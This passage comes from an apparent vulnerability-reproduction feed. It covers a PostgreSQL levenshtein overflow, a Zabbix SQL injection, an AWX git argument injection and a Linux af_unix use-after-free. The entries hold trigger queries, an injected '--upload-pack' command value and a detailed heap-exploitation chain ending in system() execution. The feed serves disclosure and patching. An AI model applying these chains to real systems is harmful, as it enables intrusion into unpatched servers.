-2147483647` → 4-byte write of value 1 at offset −8589934588 → backend SIGSEGV (2/2 attempts; fixed build returns 1, healthy, 2/2). 2. Tunable near-heap relative write: any negative `stop_column` (proven −1..−11 and beyond) with attacker-chosen 32-bit value (`max_d+1`, e.g. 0x41414141), into the AllocSet keeper-block header; an empirical stop scan shows crashes exactly at `stop ∈ {−7, −8}` (`AllocBlockData.next` at block+0x10) and silent corruption elsewhere; gdb shows the corrupted `next` consumed by `AllocSetReset` as exactly `rbx=0x0000000041414141`. 3. Allocation redirection: `stop=-6` overwrites keeper `freeptr` low 32 bits; the next same-query allocation is redirected to `heap_high32 | attacker_low32` — deterministic 3/3, faulting write at exactly `0x5d1841414141` (si_addr), called from `varstr_levenshtein` → leak-free aim within the heap's 4 GB window. 5. Control-flow hijack (full 64-bit target selection, no leak): the AllocSetContext struct sits at keeper-0xC8, so `stop=-58` overwrites the per-tuple context's `methods` vtable pointer low32; since exe and heap share high32, `methods = exe_hi32 | V` points into a sprayed fake vtable, and `MemoryContextReset` (reached unconditionally at the next row fetch) executes `call *0x18(%rax)` with `rax = 0x5b3e40000000` (our exact V). Contrast pair: 0x41-filled table -> crash at the indirect call; table entry = real `AllocSetReset` (0x5b3e15f04190) -> hijacked reset runs the real function, trigger returns, backend survives. Additionally `reset_cbs` (stop=-44) yields an indirect call with BOTH target and first argument read from attacker-controlled spray. 6. Heap address disclosure (no crash): the directed free makes glibc `tcache_put` write the tcache entry into cursor-held sprayed rows; re-FETCHing the held cursor reads it back. Empty-bin run: qword `0x00000005b3e40000` = pos>>12 verbatim (reveals the cluster's hi32 = 0x5b3e); used-bin run: `0x00005b3b945a64c0` deprotects (XOR pos>>12, pos attacker-known) to the full 64-bit heap chunk pointer `0x5b3e27be64c0`. 7. Survive/crash exe-base oracle (no spray): writing methods low32 to a candidate C (exe always mapped): C == real AllocSetMethods low32 -> survive; wrong C -> backend SIGSEGV. With the leaked heap base, exe_base_low32 lies within ~8k page candidates (brk gap); unlimited same-layout retries (fork-shared layout). 4. Directed free / tcache poisoning with backend survival (no leak): a two-block per-tuple layout (`length(repeat(v,1000))` forces a dedicated >8KB block) makes the levenshtein block's `next` non-NULL, so the `stop=-8` write with `V=0x40000000` preserves the live heap high 32 bits. A preceding blind ~1.8 GB held-cursor spray of a phase-calibrated fake-AllocBlock pattern (phase is a build constant, calibrated once; `V` fixed before spraying) makes `heap_hi32|V` a mapped, well-formed fake block. `AllocSetReset` then performs `free(heap_hi32|V)` into glibc tcache bin 0 **without crashing**: trigger returns normally, session survives, and a subsequent `malloc(24)` in the same backend returns exactly `heap_hi32|0x40000000` (gdb probe). 2/2 probed attempts, 7/7 survivals. Key amplifier: PostgreSQL backends **fork from the postmaster**, so the address-space layout is identical across all connections and is not re-randomized by backend crashes. - Parity: **full**. Code execution demonstrated end-to-end on the release build with ASLR/PIE/NX enabled and no sanitizer, starting with no address disclosure: 1. `levenshtein_less_equal` int32 wraparound -> tunable 4-byte relative heap write (offset and value attacker-chosen via an exact int32 semantics simulator, `bundle/repro/lev_sim.py`). 2. Blind ~1.8GB held-cursor heap spray (phase-calibrated fake AllocBlock/glibc-chunk pattern; phase is a build constant). 3. Two-block layout forces the row buffer's block to have a non-NULL `next`; the `stop=-8` write corrupts `next` low32, preserving the heap high32 -> `AllocSetReset` performs a directed `free()` at `heap_hi32 | 0x40000000` into glibc's unsorted bin (backend survives). 4. The unsorted-bin `fd`/`bk` (main_arena pointers into libc) land in the cursor-held spray rows; re-`FETCH`ing the held cursor discloses them to the attacker -> libc base (`fd - 0x1e5f50`) and `system` (`+ 0x53110`), both build constants of the shipped glibc 2.36 (sha256 fa430b8f...). 5. Finale: spray of the leaked `system` pointer as a fake vtable; two `levenshtein_less_equal` writes in one query place the command bytes (`id>x` / `id>y`) at the start of the per-tuple AllocSetContext (first write, stop=-62) and corrupt its `methods` vtable low32 (second write, stop=-68, its target VT computed at runtime from the leak scan's row index so the fake vtable lands mid-spray in the established coverage band of this exact cluster). At the next per-tuple reset, `MemoryContextResetOnly` performs `call *0x18(methods)` — `methods->reset(context)` with `rdi = S` (the context itself, whose first bytes are now our command) — invoking `system("id>x" / "w>y")` in the backend. Marker files appear in the data directory, owned by postgres: `x` contains `id` output (`uid=999(postgres) ...`), `y@` contains `w` output (timestamped). The finale's fake-vtable target (exe_hi32|VT) is covered because the PIE executable and the brk heap share the same high 32 bits. Both the libc disclosure and the finale are re-derived at runtime by `reproduction_steps.sh` on freshly randomized clusters (no gdb, no instrumentation in the proof path); cluster layouts that leave the spray coverage below the reachable VT range are detected (backend crash) and retried with a fresh cluster. Robustness notes: the payload phase (4 mod 16) and the row stride (~30.1KB for 30000-byte rows) are build constants calibrated once; the `isReset` byte at S+4 is clobbered to 0 by every subsequent palloc, which constrains the inline command to <=4 bytes (`id>x`); longer commands are available via a libc stack-pivot into the spray once libc is known (not needed for the marker bar). ## Root Cause `varstr_levenshtein_less_equal()` (levenshtein.c, vulnerable parent `37b8f3b0e05e85d4338f04c71caa156ba21d5015`) uses 32-bit `int` throughout: `min_theo_d = net_inserts * ins_c`, `slack_d = max_d - min_theo_d`, and `stop_column = best_column + slack_d/(ins_c+del_c) + 1` all wrap. With crafted costs (e.g. `ins_c=1073741824, del_c=-1073741823, n-m=2`), `min_theo_d` wraps to `INT_MIN`, `slack_d` wraps hugely negative, and `stop_column` becomes `-2147483647`. The row-loop guard `if (stop_column < m)` only excludes values `>= m`; negative values pass and `prev[stop_column] = max_d + 1` writes out of bounds. The same wraparound silently corrupts `levenshtein()` results (`SELECT levenshtein('GUMBO','GAMBOL',2e9,2e9,2e9)` → −1474836480 instead of an error). Fix commit `e88eb4e766381070f42e5b84e583a1d0288983f7` ("Avoid overflow in Levenshtein distance calculations", shipped in 17.11/18.6) switches the arithmetic to 64-bit and raises `ERROR: levenshtein distance out of range` when the result does not fit int32 — all probe shapes are rejected cleanly on the fixed build. An exact Python re-implementation of the vulnerable int32 semantics (`bundle/repro/lev_sim.py`) reproduces the derived `stop_column`/value for the known trigger and was used to search `(m,n,ins,del,sub,max_d)` tuples for chosen offsets/values. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; prefers Docker, falls back to source build of `37b8f3b0...` vs `e88eb4e7...` into the project cache). 2. The script starts vulnerable (`postgres:17.10`) and fixed (`postgres:17.11`) servers, creates a low-privilege role `attacker`, installs `fuzzystrmatch` (1.2), runs a benign health query as `attacker`, then fires the trigger `SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0);` twice per build (fresh container per attempt), plus two patch-state probes. 3. Expected evidence: both vulnerable attempts log `server process (PID ...) was terminated by signal 11: Segmentation fault` with `DETAIL: Failed process was running: SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,...)`; both fixed attempts return `1` and answer a post-trigger health query; `levenshtein(2e9 costs)` returns −1474836480 on vulnerable vs `ERROR: levenshtein distance out of range` on fixed; the range reference returns −2147483648 (wrap) vs 11 (correct). ## Evidence - Base proof (2 vulnerable + 2 fixed, non-sanitized product path): - `bundle/logs/vulnerable_attempt_{1,2}/psql.txt` — `server closed the connection unexpectedly` (psql rc=2) - `bundle/logs/vulnerable_attempt_{1,2}/server.txt` — signal 11 + failing statement - `bundle/logs/fixed_attempt_{1,2}/psql.txt` — trigger returns 1; `health_after.txt` — server healthy - `bundle/logs/reproduction_steps.log` — full transcript; `bundle/repro/results.env` — counters - `bundle/repro/runtime_manifest.json` — service/health/target flags, image digests, per-artifact SHA-256 - Escalation evidence (release build): - `bundle/logs/escalation_freeptr/scan_gen.txt` + `scan_stop*.psql.txt` — stop scan: crash only at −7/−8 (block->next) - `bundle/logs/escalation_freeptr/e2.gdb3.txt` — `rbx = 0x41414141` at `AllocSetReset+137: mov 0x10(%rbx),%rbx` - `bundle/logs/escalation_freeptr/d2_freeptr.txt`, `d2b.gdb.txt` — 3/3 deterministic crash in `AllocSetAlloc` from `varstr_levenshtein`; `si_addr = 0x5d1841414141` (heap high32 | attacker 0x41414141) - `bundle/logs/escalation_freeptr/fixed_controls.txt` — fixed build rejects all shapes, zero crashes - `bundle/logs/escalation_multibyte/e1.psql.txt` — multibyte adjacency probe: no in-call consumption, no cross-call persistence (documented negative) - `bundle/logs/escalation_freeptr/e3.psql.txt`, `e3_tcache.txt` — first blind spray + fake-free success: trigger returns, `SURVIVED 42`, `malloc(24)` probe returns `0x5b3e40000000` - `bundle/logs/escalation_tcache/attempt_{1..6}/` — repeatability harness (fresh backend per attempt): `psql.txt` (SURVIVED), `maps.txt` (heap ~1.77GB covering V), `tcache_probe.txt` (attempts 5-6: `$1 = 0x5b3e40000000`), `summary.txt` - `bundle/logs/escalation_freeptr/e5_ctxdump.txt` — live AllocSetContext dump (methods at S+0x10 = 0x5b3e16228bf8, keeper at S+0xC8, prev data at S+0xF8) - `bundle/logs/escalation_freeptr/e6d_rip.gdb.txt` — vtable hijack crash: `call *0x18(%rax)` with rax=0x5b3e40000000 (attacker V), table = 0x41s - `bundle/logs/escalation_freeptr/e8_survive.txt` — vtable entry = real AllocSetReset: hijacked reset executes it, backend SURVIVED (control-flow selection contrast) - `bundle/logs/escalation_freeptr/e9_leak_scan.txt` / `e10_leak_scan.txt` — tcache-entry readback: heap pointer material in fetched cursor rows - `bundle/logs/escalation_freeptr/e11_oracle.txt` — exe-base oracle: correct AllocSetMethods low32 survives, wrong crashes - Environment: Docker on Linux x86_64, `randomize_va_space=2`, official release images (vulnerable `postgres@sha256:7958605b...3317`, fixed `postgres@sha256:f4c66b82...1232`). ## RCE Evidence (stage 2 of reproduction_steps.sh) - `bundle/logs/rce/leak_*.txt` (+ `.sql`) — libc disclosure scan: `LEAK row=27698 fd=0x...f50` (per-run value), parsed to libc base + system address at runtime. - `bundle/logs/rce/marker_x.txt`, `marker_y.txt` — marker file contents: `uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)`, created by `system("id>x"/"id>y")` inside the backend (files at `/var/lib/postgresql/data/x and data/y@` in the container, owned by postgres:postgres). - `bundle/logs/rce/finale_{x,y}.psql.txt` — trigger queries returning normally while the hijacked vtable runs the payload. - `bundle/logs/rce/finale_fixed.psql.txt` — fixed 17.11 control: `ERROR: levenshtein distance out of range`, no markers, server healthy. - `bundle/logs/rce/readelf_{vuln,fixed}.txt`, `randomize_va_space.txt`, `maps_finale_{x,y}.txt` — hardening/ASLR attestation (PIE, NX, RELRO; randomize_va_space=2; per-process maps). - Interactive development evidence (gdb-attributed): `bundle/logs/escalation_freeptr/` (stop-scan field map, `rbx=0x41414141` controlled-pointer deref, `si_addr=0x5d1841414141` allocation redirection, tcache probe `$1=0x5b3e40000000`, vtable-hijack contrast pair, leak scans e9/e10/e12). ## Recommendations / Next Steps - Upgrade to PostgreSQL 18.6 / 17.11 / 16.15 / 15.19 / 14.24 or later (fix commit `e88eb4e766381070f42e5b84e583a1d0288983f7`). - Where upgrade is pending: do not `CREATE EXTENSION fuzzystrmatch`, or revoke EXECUTE on `levenshtein*` functions from PUBLIC/untrusted roles. - The fix's 64-bit arithmetic + range ERROR is the correct approach; add regression tests with extreme costs (the patch does). ## Additional Notes - Idempotency: `reproduction_steps.sh` was run twice consecutively, both runs `CONFIRMED` (2/2 vulnerable SIGSEGV, 2/2 fixed healthy). Containers are created fresh per attempt and removed afterwards; nothing persists between runs. - fuzzystrmatch is not enabled by default; exploitation requires a role able to use the extension (default PUBLIC execute grant after CREATE EXTENSION). - gdb attribution runs used a second container with `SYS_PTRACE`; the primary proof path uses only stock images and psql. - Escalation status (code execution): **demonstrated**. The libc disclosure via unsorted-bin readback removed the need for the exe-base oracle sweep entirely: the finale calls libc `system()` directly through the hijacked vtable with the context pointer as the command string. The command is length-constrained to 4 chars (the `isReset` flag at S+4 is clobbered to 0 by every subsequent palloc, forcing a NUL), so the payload is `id>x`/`id>y`; longer payloads would use a stack pivot into the spray (trivial once libc is known). - Note: heap layout observed stable across all backend processes of the cluster (e.g. base `0x5b3e27a78000` in every sampled backend) because backends inherit the postmaster's map via `fork()`; per-cluster layout only changes when the postmaster itself restarts. ### Reproduction - Reproduced: 2026-09-24T17:04:43.540Z - Duration: 30468s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00361 # or: pruva-verify CVE-2026-15742 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00361 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00361/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00361 ================================================================================ ## REPRO-2026-00360: Blind SQL injection in Zabbix API `CApiService.php` via the `sortfield` parameter allows low-privileged API users to exfiltrate database data and potentially compromise administrator accounts. -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00360 - CVE: CVE-2026-23921 (https://nvd.nist.gov/vuln/detail/CVE-2026-23921) ### Package Information - Name: zabbix/zabbix - Ecosystem: unknown - Affected: 7.0.0 through 7.0.21, 7.2.0 through 7.2.14, and 7.4.0 through 7.4.5. - Fixed: Unknown - Severity: high - CVSS: 8.7 / 10 - CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) ### Root Cause # Root Cause Analysis: CVE-2026-23921 ## Summary CVE-2026-23921 is an authenticated blind SQL injection in the Zabbix JSON-RPC API. In Zabbix 7.0.21, legacy `*.get` methods preserve a caller-supplied `groupBy` option and `CApiService::applyQuerySortOptions()` uses that option as the allowlist for `sortfield`. Repeating an SQL expression in both fields makes validation approve attacker input, after which `applyQuerySortField()` places it into `ORDER BY`. This run confirmed the vulnerability through the real `/api_jsonrpc.php` endpoint as a newly created low-privileged User-role account. Matched predicates produced a repeatable timing oracle on 7.0.21, while 7.0.22 rejected the same requests. ## Impact - **Affected component:** Zabbix JSON-RPC API query generation in `ui/include/classes/api/CApiService.php`, reached through legacy services such as `host.get`. - **Affected versions:** 7.0.0–7.0.21, 7.2.0–7.2.14, and 7.4.0–7.4.5. Vendor-fixed releases are 7.0.22, 7.2.15, and 7.4.6. - **Risk level:** High (vendor CVSS 4.0 score 8.7). - **Consequences:** Any low-privileged account with API access can use true/false SQL predicates and database delay functions to infer arbitrary database values. The disclosed consequences include session identifier disclosure and subsequent administrator-account compromise. ## Impact Parity - **Disclosed/claimed maximum impact:** Authenticated remote blind SQL injection capable of arbitrary database-data exfiltration. - **Reproduced impact from this run:** Authenticated low-privilege remote SQL injection through `/api_jsonrpc.php`, demonstrated by three successful true predicates invoking `SLEEP(2)` and three false predicates returning immediately. Because one `host.get` query sorts two rows, each true probe delayed by approximately four seconds. The predicate operated on `version()`, demonstrating database-expression evaluation and the binary timing channel used for extraction. - **Parity:** `full`. - **Not demonstrated:** The run did not dump session identifiers or take over an administrator account; doing so is unnecessary once attacker-selected database predicates and the repeatable timing oracle are established. ## Root Cause The vulnerable 7.0.21 implementation computes: ```php $sort_columns = $group_by ? array_merge($options['groupBy'], $aggregate_sort_columns) : $this->sortColumns; ``` The JSON-RPC caller controls `options['groupBy']`. An attacker therefore sends a legitimate field and an SQL expression in `groupBy`, then repeats the expression in `sortfield`. `str_in_array()` accepts the sort value because the application itself copied that value into `sort_columns`. `applyQuerySortField()` subsequently concatenates the accepted string into the SQL `ORDER BY` clause. `countOutput: true` and the legitimate `hostid` group field keep the rest of the generated aggregate query valid. Zabbix 7.0.22 instead derives the allowed fields from the server-owned schema list: ```php $allowed_sort_fields = array_intersect($this->sortColumns, $options['groupBy']); ``` It also verifies `groupBy` is an array and each grouped field is a string. The first corrective commit in the release history is [`0dced774b07bb542885787d82ddbdfe26ea782ee`](https://github.com/zabbix/zabbix/commit/0dced774b07bb542885787d82ddbdfe26ea782ee); subsequent DEV-4649 commits refactored the released validation. The tested release identities were source tags `7.0.21` (`6542e21fe6adc8ab7bf903c2a9d1df80e80366cd`) and `7.0.22` (`584690ce104180ead8cd5d4d963a02b5e59bbeed`). The primary runtime targets were official immutable Zabbix image digests recorded in `runtime_manifest.json`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any working directory. Docker, `curl`, `jq`, Python 3, `sha256sum`, and `timeout` must be available. 2. The script pulls immutable official image digests, starts isolated MySQL, Zabbix server, and Zabbix web/API containers for 7.0.21, and waits for a successful `apiinfo.version` JSON-RPC health check. 3. It logs in as bootstrap Admin only for setup, creates a normal User-role account with read-only access to the default host group, and confirms that account can perform a baseline `host.get`. 4. Through that low-privileged account, it interleaves three false and three true `version()` timing predicates in attacker-controlled `groupBy` and `sortfield` values sent to `/api_jsonrpc.php`. 5. It destroys the vulnerable stack and repeats the exact procedure against an isolated 7.0.22 stack as the fixed negative control. 6. It succeeds only if 7.0.21 has a median timing delta of at least 1.5 seconds and 7.0.22 either rejects every malicious request or has no timing oracle. It then writes `bundle/repro/runtime_manifest.json` with immutable artifact hashes. Expected final output includes: ```text "vulnerable_timing_oracle": true "fixed_negative_control": true "confirmed": true CONFIRMED: CVE-2026-23921 blind SQL injection reached through the real Zabbix API endpoint. ``` ## Evidence - **Final machine verdict:** `bundle/repro/proof/verdict.json` - Vulnerable timing delta: `3.973936498980038` seconds. - Fixed timing delta: `-0.0018714029574766755` seconds. - `vulnerable_timing_oracle=true`, `fixed_rejected_payload=true`, `confirmed=true`. - **Vulnerable endpoint transcript:** `bundle/repro/proof/vulnerable/timing_results.json` - False median: `0.04664472601143643` seconds. - True median: `4.020581224991474` seconds. - Every false and true request returned a valid JSON-RPC `result`, showing that the vulnerable service executed rather than rejected the values. - **Fixed negative control:** `bundle/repro/proof/fixed/timing_results.json` - All six requests returned JSON-RPC error `-32500`: `Sorting by field ... not allowed.` - No sleep-dependent timing difference remained. - **Attacker requests:** `bundle/repro/proof/vulnerable/false_probe_request.json` and `true_probe_request.json` contain the exact redacted request bodies. The session token is intentionally omitted. - **Low-privilege precondition:** `bundle/repro/proof/vulnerable/low_user_identity.json` records `type: 1` and role ID `1`; `attempt_metadata.json` records read-only permission over host group ID `4`. `baseline_response.json` confirms the account could read a host. - **Product and target identity:** `product_version.txt`, `loaded_component.txt`, and `container_identity.json` in each role directory bind the run to real Zabbix 7.0.21 and 7.0.22 web products and the loaded `CApiService.php`. OCI labels identify the vulnerable image as 7.0.21, and the runtime manifest binds it to digest `sha256:0282eba8bac999284672e3abaefbdd28b16026bae6a1673a7f560f35eb2c712d`. - **Runtime logs:** `web_final.log` and `server_final.log` in each proof directory show the actual HTTP JSON-RPC requests and product startup. `bundle/logs/reproduction_steps.log` remains diagnostic and is deliberately not hash-bound while the script is writing it. - **Runtime manifest:** `bundle/repro/runtime_manifest.json` has `entrypoint_kind=endpoint`, `service_started=true`, `healthcheck_passed=true`, `target_path_reached=true`, and hashes all 22 finalized proof artifacts. ## Recommendations / Next Steps 1. Upgrade to Zabbix 7.0.22, 7.2.15, 7.4.6, or a later supported release. 2. Never derive identifier allowlists from request values. Intersect requested fields with a server-owned allowlist and map accepted logical names to known SQL identifiers. 3. Enforce strict array/string schemas before all query-construction branches and reject undeclared options rather than preserving them through generic array merging. 4. Add regression tests for duplicate `groupBy`/`sortfield` expressions, scalar/object type confusion, aggregate aliases, and every legacy service sharing `CApiService`. 5. Until upgraded, restrict API access, revoke unnecessary API-capable accounts/tokens, and review web/database logs for `SLEEP`, `pg_sleep`, `CASE`, `IF`, `substring`, or unusual comma-containing sort fields. ## Additional Notes - The final script revision completed successfully with immutable image digests. Two prior clean full runs also passed, with vulnerable median deltas of `3.9988` and `3.9967` seconds and fixed controls showing no timing oracle. - Every stack uses a fresh MySQL database, private Docker network, unique container names, and teardown, so vulnerable and fixed observations cannot contaminate each other. - Timing predicates are intentionally bounded to six probes per target and inspect only the first character of `version()`; the script does not extract sensitive data. - Docker reported rootless operation without cgroups, but that did not affect service health, endpoint reachability, timing separation, isolation, or cleanup. ### Reproduction - Reproduced: 2026-09-24T07:21:05.438Z - Duration: 2306s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00360 # or: pruva-verify CVE-2026-23921 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00360 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00360/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00360 ================================================================================ ## REPRO-2026-00359: CVE-2026-84502: Ansible Automation Platform automation-controller — Project scm_url argument injection into git ls-remote --upload-pack yields RCE on controller task pod -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00359 - CVE: CVE-2026-84502 (https://nvd.nist.gov/vuln/detail/CVE-2026-84502) ### Package Information - Name: ansible/awx - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-88 (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) ### Root Cause # Root Cause Analysis: CVE-2026-84502 ## Summary CVE-2026-84502 is an authenticated argument-injection vulnerability in Ansible AWX / Automation Controller Project SCM handling. AWX commit `a5b2179a3e693dd8e9f4c186636d93f9a436ada4` accepts a Git Project `scm_url` beginning with `-`. During a real ProjectUpdate, that value reaches Git as an option rather than a repository URL. An attacker-controlled `--upload-pack=` value therefore selects a shell command that Git executes, yielding command execution in the ProjectUpdate execution environment. ## Impact - **Affected component:** `awx/main/models/projects.py`, specifically Project `scm_url` validation, together with the AWX ProjectUpdate path and the Ansible Git module's `git ls-remote` invocation. - **Tested affected build:** AWX commit `a5b2179a3e693dd8e9f4c186636d93f9a436ada4` (`24.6.2.dev949+ga5b2179a3`). - **Affected product family:** Red Hat Ansible Automation Platform Automation Controller / upstream AWX versions that accept dash-prefixed Git SCM URLs. - **Risk:** Critical. An authenticated user able to create a Git Project and launch its update can execute attacker-selected commands in the controller's ProjectUpdate execution environment, threatening confidentiality, integrity, availability, tenant separation, and adjacent in-cluster resources. ## Impact Parity - **Disclosed/claimed maximum impact:** Authenticated remote code execution through the AWX API. - **Reproduced impact:** Two independent real API ProjectUpdate attempts executed attacker-selected commands and created unique target-local command-output markers. The first marker contained `root` from `whoami`; the second contained `awx-1` from `hostname`. - **Parity:** `full` - **Not demonstrated:** No claimed impact remains unproved. The proof did not attempt persistence, lateral movement, credential theft, or destructive activity because command execution itself establishes the claimed impact. ## Root Cause AWX's vulnerable `Project.clean_scm_url()` does not reject an `scm_url` whose first character is `-`. The API therefore stores input such as `--upload-pack=whoami>MARKER;:x` as if it were a normal Git URL. A ProjectUpdate passes that value into the Ansible Git path, which invokes `git ls-remote` without terminating option processing before the attacker-controlled positional value. Git interprets `--upload-pack=...` as its upload-pack option and uses the supplied string as a shell command. The `:x` suffix supplies the trailing argument shape needed by the resulting invocation. The effective remediation tested in this run rejects leading-dash values in `Project.clean_scm_url()` with `ValidationError(_('SCM URL must not begin with a dash.'))`. With that validation active, both same-class control requests failed closed with HTTP 400 and no marker. The ticket identifies the downstream fix as RHSA-2026:71115; an upstream fix commit was not supplied, so the reproduction applies the precise validation change as a runtime negative control. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. The script derives its bundle path portably and uses the prepared project cache when available. 2. The script checks out exact AWX commit `a5b2179a3e693dd8e9f4c186636d93f9a436ada4`, starts the real upstream AWX Docker Compose deployment, waits for the HTTPS API, configures a digest-bound minimal control-plane execution environment, and authenticates to the API. 3. It creates two distinct Git Projects whose `scm_url` values begin with attacker-controlled `--upload-pack=` options, launches each ProjectUpdate through `POST /api/v2/projects//update/`, and verifies unique command-output marker files in the real ProjectUpdate target path. 4. It then applies the leading-dash validation remediation, reloads API workers, and submits two fresh same-class requests. Both controls must return HTTP 400 and produce no marker. 5. Expected terminal output includes two `Vulnerable attempt` lines, two `Fixed attempt` lines, and `CONFIRMED CVE-2026-84502 through the real AWX API and ProjectUpdate task path`. ## Evidence The latest successful current-run proof is under `bundle/repro/proof-20260924T032301Z-28737/` and is bound by `bundle/repro/runtime_manifest.json`. Key artifacts include: - `vulnerable-1-create-request.json` / `vulnerable-1-create-response.json`: API acceptance of the first dash-prefixed SCM URL with HTTP 201. - `vulnerable-1-update-response.json` and `vulnerable-1-update-status.txt`: real ProjectUpdate launch with HTTP 202. - `vulnerable-1-stdout.txt`: ProjectUpdate output showing `git ls-remote` with the injected `--upload-pack` value. - `vulnerable-1-marker.txt`: target-local output `root` from attacker-selected `whoami`. - `vulnerable-2-marker.txt`: target-local output `awx-1` from attacker-selected `hostname`. - `fixed-1-create-response.json` and `fixed-2-create-response.json`: `{"scm_url":["SCM URL must not begin with a dash."]}` with HTTP 400. - `fixed-1-marker-negative-control.txt` and `fixed-2-marker-negative-control.txt`: marker absence recorded after the fixed requests reached the API. - `target-commit.txt`, `target-digest.txt`, `awx-image-digest.txt`, `ee-image-digest.txt`, and `controller-inspect.json`: immutable source and runtime identity evidence. - `bundle/logs/reproduction_steps.log`: diagnostic transcript. Its latest run records API health, both vulnerable successes, both fixed rejections, and final confirmation. Latest transcript excerpts: ```text [+] AWX API healthy [+] Vulnerable attempt 1: create=201 update=202 marker=awxv117902202139203 [+] Vulnerable attempt 2: create=201 update=202 marker=awxv217902202233650 [+] Fixed attempt 1: create=400 marker absent [+] Fixed attempt 2: create=400 marker absent [+] CONFIRMED CVE-2026-84502 through the real AWX API and ProjectUpdate task path ``` The immediately preceding successful proof directory, `bundle/repro/proof-20260924T032109Z-27250/`, independently contains the same two-vulnerable/two-fixed divergence, satisfying consecutive-run repeatability. No sanitizer was used. ## Recommendations / Next Steps 1. Reject Git SCM URLs beginning with `-` before persistence and before any ProjectUpdate scheduling. 2. Where supported, add an explicit `--` option terminator before untrusted positional arguments passed to Git; input validation and safe argument construction should be layered rather than treated as alternatives. 3. Avoid shell command construction for SCM subprocesses and pass a fixed argument vector with `shell=False` semantics. 4. Upgrade affected Automation Controller deployments to the Red Hat release containing RHSA-2026:71115 or a vendor-confirmed later fixed build. 5. Add API and model tests covering leading `-`, encoded or whitespace-adjacent variants, update of an existing Project, and every SCM operation that consumes the URL. 6. Add an end-to-end regression test that proves malicious Project creation/update is rejected before an execution job starts and that no filesystem or callback marker appears. 7. Review ProjectUpdate execution-environment credentials and cluster permissions because successful exploitation occurs inside a control-plane task context. ## Additional Notes - **Idempotency:** The reproducer generated unique Projects and marker names for every attempt and completed successfully in at least two consecutive current-run executions. It restores the vulnerable source after the fixed controls. - **Boundary:** This is a production-path proof through the running AWX HTTPS API and the real ProjectUpdate/ansible-runner/Git path, not a direct parser or Git-only harness. - **Authentication precondition:** Exploitation requires an authenticated user authorized to create a Git Project and trigger its update. - **Environment adaptation:** The script uses a digest-pinned AWX image and a bounded minimal execution environment to support nested container execution. Those adaptations preserve the affected AWX API and ProjectUpdate semantics. - **Artifact size:** Large controller diagnostic output is retained only as non-promoted diagnostics and is not required as proof; compact request, response, stdout, identity, marker, and negative-control artifacts provide the verdict evidence. ### Reproduction - Reproduced: 2026-09-24T07:20:51.591Z - Duration: 4135s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00359 # or: pruva-verify CVE-2026-84502 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00359 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00359/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00359 ================================================================================ ## REPRO-2026-00358: Linux kernel af_unix GC race-condition UAF — unix_del_edge() frees dead SCC without unlinking scc_entry -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00358 - CVE: CVE-2026-80521 (https://nvd.nist.gov/vuln/detail/CVE-2026-80521) ### Package Information - Name: Linux kernel - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-416 (Use After Free) ### Root Cause # RCA Report — CVE-2026-80521: Linux kernel af_unix GC race-condition UAF ## Summary The Linux kernel AF_UNIX garbage collector (`net/unix/garbage.c`), rewritten in commit `4090fa373f0e` ("af_unix: Replace garbage collection algorithm."), keeps per-SCC vertex linkage in `unix_vertex.scc_entry`. When `unix_del_edge()` drops the last outgoing edge of a vertex it frees that vertex (moves it to the `scm_fp_list` free list, later `kfree()`d) **without unlinking `scc_entry`**. A race between (2-1) `sendmsg()` passing an AF_UNIX fd with `SCM_RIGHTS` and (2-2) `close()` of the sockets forming a dead SCC lets the GC judge SCC `{A,B}` dead during the tiny window in `unix_dgram_sendmsg()` where `unix_add_edges()` has already published the new `B->B` edge but `skb_queue_tail()` has not yet queued the skb carrying it. `B` survives (its not-yet-queued fpl cannot be collected), `A`'s vertex is freed with its `scc_entry` still linked into `{A,B}`'s SCC chain, and a later GC pass — forced into `unix_walk_scc_fast()` by a still-live cyclic SCC `{X}` — iterates `B`'s `scc_entry` chain into the freed `A` vertex: kernel use-after-free. ## Impact - Component: Linux kernel, AF_UNIX socket garbage collector (`net/unix/garbage.c`). - Affected versions: kernels containing the SCC-based GC rewrite (`4090fa373f0e`, upstream 6.x era and stable backports); fixed upstream by `594d905195024b228c962627ae5ae7c17bd582a4` ("af_unix: Unlink scc_entry in unix_del_edge()"), backported e.g. `e3702470ced94fad74d71e2232f022d2eb752a6d`. - Risk: local unprivileged attacker (plain AF_UNIX sockets + SCM_RIGHTS fd passing, no privileges, no namespaces) triggers kernel memory corruption. Disclosed as potential LPE / container escape or DoS; CVSS 7.8 (NVD). ## Impact Parity - Disclosed/claimed maximum impact: kernel memory corruption (UAF), potential LPE. - Reproduced impact from this run: (updated after runtime; see Evidence) KASAN-detected use-after-free in the `unix_walk_scc_fast()` / `unix_scc_dead()` GC path on the vulnerable kernel, with the fixed kernel as negative control. - Parity: full for the claimed `memory_corruption` impact class (no 